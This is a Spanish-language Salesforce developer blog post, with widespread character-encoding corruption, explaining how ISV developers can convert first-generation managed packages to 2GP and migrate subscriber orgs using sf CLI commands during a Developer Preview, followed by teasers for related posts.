Package Migrations ampl铆a la funcionalidad de 2GP con comandos CLI adicionales y capacidades adicionales para ayudar a los desarrolladores de ISV a realizar una transici贸n completa al mundo de 2GP. Actualmente se encuentra en Developer Preview y est谩 abierto para que todos los desarrolladores de ISV lo prueben en sus paquetes 1GP existentes. 隆Siga leyendo para saber c贸mo participar en la versi贸n preliminar para desarrolladores!

Hay dos elementos para las migraciones de paquetes: conversi贸n de paquetes y migraci贸n de paquetes.

La conversi贸n de paquetes se inicia a trav茅s del nuevo comando sf package convert . Toma una versi贸n espec铆fica de su paquete 1GP existente (Acme v1.0 en este ejemplo) y usa algo de magia detr谩s de escena para convertirlo en una versi贸n de paquete 2GP correspondiente (Acme v1.0.0.1 usando la numeraci贸n de versi贸n 2GP).

Una vez que tenga una versi贸n de paquete 2GP convertida, puede migrar clientes a 2GP. Si tiene un suscriptor con Acme v1.0 instalado, iniciar铆a el proceso trat谩ndolo como una actualizaci贸n de paquete normal: a trav茅s de la CLI con sf package install (ver documentos ), instalaci贸n de URL o actualizaciones autom谩ticas.

Mientras intenta instalar su paquete 2GP convertido v1.0.0.1, que coincide con la versi贸n mayor.menor del paquete 1GP instalado en el suscriptor A, ejecutamos una nueva l贸gica que inicia el proceso de migraci贸n del paquete . Sin cambiar ning煤n metadato en la organizaci贸n del cliente, y sin requerir la intervenci贸n del usuario si usa actualizaciones autom谩ticas, simplemente cambiamos las referencias del paquete para que apunten al nuevo paquete 2GP.

Una vez que un cliente migre a 2GP, cualquier parche o actualizaci贸n del paquete de este cliente deber谩 usar 2GP.

Participaci贸n en la versi贸n preliminar para desarrolladores de migraciones de paquetes

Para probar las migraciones de paquetes, debe ser un socio ISV con acceso a la comunidad de socios de Salesforce .

En la Comunidad de socios, encontrar谩 un canal exclusivo para esta versi贸n preliminar para desarrolladores. Le recomendamos que se una a este canal y configure las notificaciones para enviar por correo electr贸nico cada publicaci贸n para recibir las 煤ltimas actualizaciones del equipo de Migraciones de paquetes.

En este canal, encontrar谩 una serie de enlaces 煤tiles, incluido un formulario para registrarse en Developer Preview. Necesitaremos algunos detalles, como su ID de organizaci贸n de empaquetado, para que podamos activar la funci贸n Migraciones de paquetes.

Es importante destacar que participar en Developer Preview no tendr谩 ning煤n impacto en su paquete de 1GP. Por lo tanto, no se preocupe y participe, ya que sus comentarios son esenciales para ayudarnos a identificar y resolver problemas lo antes posible.

Una vez que est茅 activado, puede comenzar a probar las migraciones de paquetes.

Probar la conversi贸n de un paquete administrado de primera generaci贸n

Muy bien, 隆comencemos! En primer lugar, aseg煤rese de haber instalado la CLI de Salesforce.

Si lo instal贸 anteriormente, aseg煤rese de estar usando la 煤ltima versi贸n:

sf update

Ahora aseg煤rese de que est谩 ejecutando dentro del contexto de un proyecto de SalesforceDX. Puedes crear un nuevo proyecto usando:

sf project generate --name <Your project name>

Vincule el espacio de nombres de su 1GP administrado iniciando sesi贸n en su DevHub y siga los pasos .

隆Eso es todo para la configuraci贸n! Ahora puede continuar e intentar convertir su paquete.

sf package convert --installation-key mdpTest --package 033xxx --wait 20

Repasemos los par谩metros. Estamos utilizando la clave de instalaci贸n mdpTest . Ser谩 necesario cada vez que intente instalar esta versi贸n del paquete en el futuro. Alternativamente, puede usar --installation-key-bypass para omitir la clave de instalaci贸n. Deber谩 ingresar su ID de paquete 1GP completo comenzando con 033 despu茅s de --package . El proceso de conversi贸n puede demorar un poco y, por lo tanto, agregamos la opci贸n --wait para esperar 20 minutos.

A medida que se ejecuta el proceso de conversi贸n, obtendr谩 una actualizaci贸n de su estado. Suponiendo que todo sali贸 bien, recibir谩 un mensaje de 茅xito con la ID y la URL de instalaci贸n para la versi贸n del paquete 2GP reci茅n convertida.

Converting Package... ... Successfully created the package version [08cxxx00000KzFSAA0]. Subscriber Package Version Id: 04txxx00000u1cqAAA
Package Installation URL: https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA
As an alternative, you can use the "sfdx package:install" command.

隆Felicitaciones, su paquete ahora est谩 convertido a 2GP! Si encontr贸 alg煤n problema en el camino, inf贸rmenos utilizando el formulario en el grupo Comunidad de socios .

Nota: Al momento de escribir esta publicaci贸n de blog, este comando convertir谩 la 煤ltima versi贸n administrada y lanzada de su paquete. Estamos trabajando para permitirle convertir versiones de paquetes Beta y anteriores. Por otro lado, durante Developer Preview, no es posible promocionar paquetes 2GP convertidos al estado Lanzado.

Ahora que su paquete est谩 convertido, probemos la migraci贸n de una organizaci贸n suscriptora.

Probar la migraci贸n de un paquete administrado de primera generaci贸n instalado

Para probar la migraci贸n de un suscriptor, deber谩 crear una organizaci贸n borrador ya que, durante la versi贸n preliminar para desarrolladores, solo admitimos organizaciones borrador. Puede configurar una nueva organizaci贸n borrador como esta:

sf org create scratch -f project-scratch-def.json -a MyScratchOrg

En el c贸digo anterior, -f apunta a su archivo de definici贸n de organizaci贸n borrador . Debe asegurarse de que su archivo de definici贸n de organizaci贸n borrador incluya cualquier funci贸n de Salesforce de la que pueda depender su paquete. Finalmente, estamos usando MyScratchOrg como el alias de esta organizaci贸n.

Con la configuraci贸n de la organizaci贸n borrador, contin煤e e instale la versi贸n del paquete 1GP que convirti贸 anteriormente utilizando la URL de instalaci贸n que obtiene de su organizaci贸n de empaquetado 1GP. Esta deber铆a ser su 煤ltima versi贸n administrada y lanzada en este momento.

Puede confirmar que el paquete se instal贸 correctamente durante la pantalla de instalaci贸n. Vea el ejemplo a continuaci贸n.

Y consulte la secci贸n Paquetes instalados del men煤 Configuraci贸n.

Ahora que instal贸 su 1GP en la organizaci贸n borrador, est谩 listo para la migraci贸n.

Inicie el proceso de migraci贸n utilizando la URL de instalaci贸n que recibi贸 al final del proceso de conversi贸n del paquete:

https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA

Ahora pasar谩 por el mismo conjunto de pantallas que el anterior, pero esta vez para su paquete 2GP convertido.

Actualmente, la interfaz de usuario muestra que la "instalaci贸n" se ha completado. En realidad, lo que hicimos fue una migraci贸n de paquetes que se complet贸 con 茅xito.

Tenga en cuenta que en este ejemplo, he usado la segunda compilaci贸n Beta para la versi贸n 1.7, que corresponde a la misma versi贸n mayor.menor que la versi贸n del paquete 1GP instalada anteriormente. Como el 2GP convertido, durante la Vista previa del desarrollador, se crea como una versi贸n Beta, se muestra como tal.

Una vez m谩s, puede confirmar la versi贸n del paquete actualizado en la secci贸n Paquetes instalados del men煤 Configuraci贸n, que tambi茅n muestra, en este ejemplo, que el n煤mero de versi贸n es 1.7 (Beta 2).

Una vez que haya migrado el paquete en su organizaci贸n borrador, le recomendamos que lo pruebe para asegurarse de que funciona como se esperaba.

Tambi茅n debe aprovechar la oportunidad para verificar si las aplicaciones, como la aplicaci贸n de administraci贸n de licencias o la aplicaci贸n de administraci贸n de funciones, muestran la informaci贸n correcta para su paquete migrado. Si encuentra algo que no est谩 bien, por favor plant茅elo como un problema y lo investigaremos.

Mientras tanto 鈥

Se necesitar谩n algunos lanzamientos para que las migraciones de paquetes est茅n disponibles de forma general. Su participaci贸n en Developer Preview, probando sus paquetes y brind谩ndonos comentarios, es esencial para ayudarnos a identificar y resolver problemas antes.

Mientras tanto, 驴qu茅 m谩s puedes hacer? Le recomendamos que experimente con el uso de paquetes de segunda generaci贸n como parte de su modelo de desarrollo actual basado en 1GP. 驴Confundido? Dejame explicar.

Como mencion茅 anteriormente, hay una serie de ventajas espec铆ficas de 2GP. De estos, hay algunos de los que puede comenzar a beneficiarse hoy. Estos son los pasos que puede seguir:

  1. Puede configurar su control de c贸digo fuente y alimentarlo con metadatos extra铆dos de su organizaci贸n de empaquetado.
  2. Puede crear un DevHub y organizaciones borrador derivadas para el desarrollo utilizando metadatos de su control de c贸digo fuente.
  3. Puede crear un paquete 2GP para desarrollo interno y pruebas que reflejen su paquete 1GP, pero usando un espacio de nombres solo interno o el mismo que su paquete 1GP. Las colisiones de espacios de nombres evitar谩n que los paquetes 1GP y 2GP con el mismo espacio de nombres se instalen en el mismo entorno.
  4. Una vez que est茅 satisfecho con el contenido de su paquete 2GP, puede migrar los metadatos desde la rama de control de fuente correspondiente a su organizaci贸n de empaquetado y emitir una nueva versi贸n de su paquete para distribuir a los clientes.

Esto lo ayudar谩 a sumergirse en el mundo de 2GP y, una vez que Package Migrations est茅 disponible de forma general, podr谩 abandonar su modelo de desarrollo de 1GP por completo y pasar por completo a un modelo de desarrollo de 2GP.

Conclusi贸n

Estamos muy entusiasmados con las migraciones de paquetes, pero necesitamos su ayuda para asegurarnos de que sea lo mejor posible. Si es un desarrollador de ISV, contin煤e y reg铆strese para la Vista previa para desarrolladores en la Comunidad de socios.

隆Estamos ansiosos por recibir sus comentarios!

M谩s recursos

Grupo de vista previa para desarrolladores en la comunidad de socios

Embalaje gestionado de segunda generaci贸n (documentaci贸n)

Sobre el Autor

John Belo es director de gesti贸n de productos para productos de experiencia de desarrollador y se centra en migraciones de paquetes, analizador de c贸digo de Salesforce y an谩lisis de aplicaciones de AppExchange. Ha estado en Salesforce durante m谩s de siete a帽os y pas贸 la mayor parte de este tiempo en el equipo de AppExchange. Comenz贸 liderando un equipo de evangelistas t茅cnicos de ISV en EMEA y ahora es parte del equipo de gesti贸n de productos de experiencia de desarrollador, siempre con la intenci贸n de ayudar a los ISV a tener el mayor 茅xito posible.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Aproveche al m谩ximo Salesforce DevOps Center

脷ltima actualizaci贸n el 15 de diciembre de 2022 por Rakesh Gupta El momento que muchos profesionales de Salesforce han estado esperando finalmente ha llegado: 隆Salesforce DevOps Center GA! Pero antes de instalar DevOps Center en su organizaci贸n y comenzar a usarlo para implementar metadatos, analicemos c贸mo aprovecharlo al m谩ximo.

La publicaci贸n Aproveche al m谩ximo Salesforce DevOps Center apareci贸 primero en Automation Champion .

Seguir leyendo

C贸mo aprobar el examen de certificaci贸n de consultor de Sales Cloud

脷ltima actualizaci贸n el 20 de noviembre de 2022 por Rakesh Gupta Como consultor certificado de Sales Cloud reci茅n nombrado, estoy compartiendo mis experiencias de estudio con usted y quiero que sea el pr贸ximo en hacerlo. 隆As铆 que prep谩rate y sum茅rgete! 馃憠 Ya que est谩s aqu铆, quiz谩s quieras

La publicaci贸n C贸mo aprobar el examen de certificaci贸n de consultor de Sales Cloud apareci贸 primero en Automation Champion .

Seguir leyendo

Consideraciones de dise帽o para la captura de datos modificados y eventos de plataforma 鈽侊笍

La integraci贸n es un tema esencial para los desarrolladores y arquitectos de Salesforce. Un tipo de integraci贸n ha cobrado impulso en los 煤ltimos a帽os: la integraci贸n de procesos, quiz谩s m谩s conocida como integraci贸n impulsada por eventos. La plataforma principal de Salesforce admite la integraci贸n basada en eventos (o arquitectura basada en eventos) a trav茅s de la publicaci贸n y suscripci贸n de eventos de la plataforma a otros sistemas. Tambi茅n puede ser un gran [鈥

La publicaci贸n Consideraciones de dise帽o para la captura de datos modificados y los eventos de la plataforma apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Aprende MOAR en Winter '23 con Sandboxes en Hyperforce: Quick Clone 鈽侊笍

Siga y complete un trailmix de Learn MOAR Winter '23 para administradores o desarrolladores antes del 30 de noviembre de 2022 a las 11:59 p. Se aplican restricciones. Aprende c贸mo participar y revisa las Reglas Oficiales visitando el [鈥

La publicaci贸n Learn MOAR in Winter '23 with Sandboxes on Hyperforce: Quick Clone apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

C贸mo aprobar el examen de certificaci贸n de dise帽ador de estrategias de Salesforce

脷ltima actualizaci贸n el 16 de julio de 2022 por Rakesh Gupta El dise帽o de la estrategia juega un papel crucial en la forma en que una empresa logra sus objetivos. El dise帽o de estrategias lo ayuda a transformar su visi贸n y objetivos estrat茅gicos en fases de implementaci贸n factibles a trav茅s de m茅todos de pensamiento de dise帽o. Cualquier estrategia de dise帽o debe abordar lo siguiente: Problemas existentes

La publicaci贸n C贸mo aprobar el examen de certificaci贸n de dise帽ador de estrategias de Salesforce apareci贸 primero en Automation Champion .

Seguir leyendo

Cree desde cualquier lugar con Salesforce Code Builder (Beta) 鈽侊笍

Los desarrolladores de Salesforce tienen la desafiante tarea de crear e implementar r谩pidamente aplicaciones en la era del "trabajo desde cualquier lugar". Por lo tanto, necesitan flexibilidad tanto en c贸mo trabajan como en d贸nde trabajan. En Salesforce, nos comprometemos a brindar herramientas para que nuestros desarrolladores sean eficientes y productivos. En el pasado, hemos innovado herramientas para desarrolladores [鈥

La publicaci贸n Crear desde cualquier lugar con Salesforce Code Builder (Beta) apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Introducci贸n al control de versiones para Salesforce Flow

脷ltima actualizaci贸n el 3 de abril de 2022 por Rakesh Gupta Gran idea o pregunta duradera: 驴Qu茅 sucede cuando los requisitos comerciales para un flujo de Salesforce cambian despu茅s de que ya est谩 activado y en uso? Objetivos: despu茅s de leer este art铆culo, podr谩: Modificar un flujo existente para reflejar nuevos requisitos Clonar

La publicaci贸n Una introducci贸n al control de versiones para Salesforce Flow apareci贸 primero en Automation Champion .

Seguir leyendo

Configure la integraci贸n continua para sus proyectos de Salesforce 鈽侊笍

Crear aplicaciones robustas es dif铆cil. Los desarrolladores pueden esforzarse mucho en escribir c贸digo, probar y realizar revisiones por pares, pero los errores a煤n pueden afectar la producci贸n. Para reducir este riesgo y mejorar la calidad del c贸digo, confiamos en la integraci贸n continua (CI). En esta publicaci贸n, presentaremos CI y sus conceptos b谩sicos, luego discutiremos c贸mo [鈥

La publicaci贸n Configure la integraci贸n continua para sus proyectos de Salesforce apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Impulse la coherencia y aumente las habilidades de los desarrolladores con una lista de verificaci贸n de mejores pr谩cticas para desarrolladores 鈽侊笍

Como desarrollador, l铆der de desarrollo, l铆der de tecnolog铆a o arquitecto t茅cnico, 驴alguna vez ha tenido dudas sobre el c贸digo, por ejemplo, "驴Esa clase tuvo alg煤n manejo de errores?" o "驴Ese m茅todo de prueba ten铆a alguna afirmaci贸n del sistema?" – 驴d铆as despu茅s de que ya lo hayas aprobado? Todos hemos experimentado esos momentos en los que revisamos el c贸digo para adultos a un [鈥

La publicaci贸n Impulse la coherencia y aumente las habilidades de los desarrolladores con una lista de verificaci贸n de pr谩cticas recomendadas para desarrolladores apareci贸 primero en el Blog de desarrolladores de Salesforce .

Seguir leyendo

Accediendo a una base de datos PostgreSQL desde Node.js 鈽侊笍

Si ha estado siguiendo nuestra serie de blogs, "Introducci贸n a Node.js para desarrolladores de Salesforce", habr谩 aprendido mucho hasta ahora sobre este popular tiempo de ejecuci贸n de JavaScript de c贸digo abierto. Nuestras dos publicaciones anteriores discutieron por qu茅 Node.js es importante para los desarrolladores de Salesforce y lo guiaron a trav茅s de c贸mo construir su primera aplicaci贸n web usando Node.js. En esta tercera publicaci贸n [鈥

La publicaci贸n Accediendo a una base de datos de PostgreSQL desde Node.js apareci贸 primero en el Blog de desarrolladores de Salesforce .

Seguir leyendo

Copado – Plataforma DevOps de c贸digo bajo

脷ltima actualizaci贸n el 26 de julio de 2021 por Rakesh Gupta Uno de los mayores desaf铆os que enfrentan las empresas es la dificultad de realizar cambios de forma segura y r谩pida en sus sistemas de TI. A medida que las empresas pasan a convertirse en empresas digitales, cada vez m谩s departamentos est谩n adquiriendo competencias para crear y gestionar sus propios sistemas.

La publicaci贸n Copado – Low Code DevOps Platform apareci贸 primero en Automation Champion .

Seguir leyendo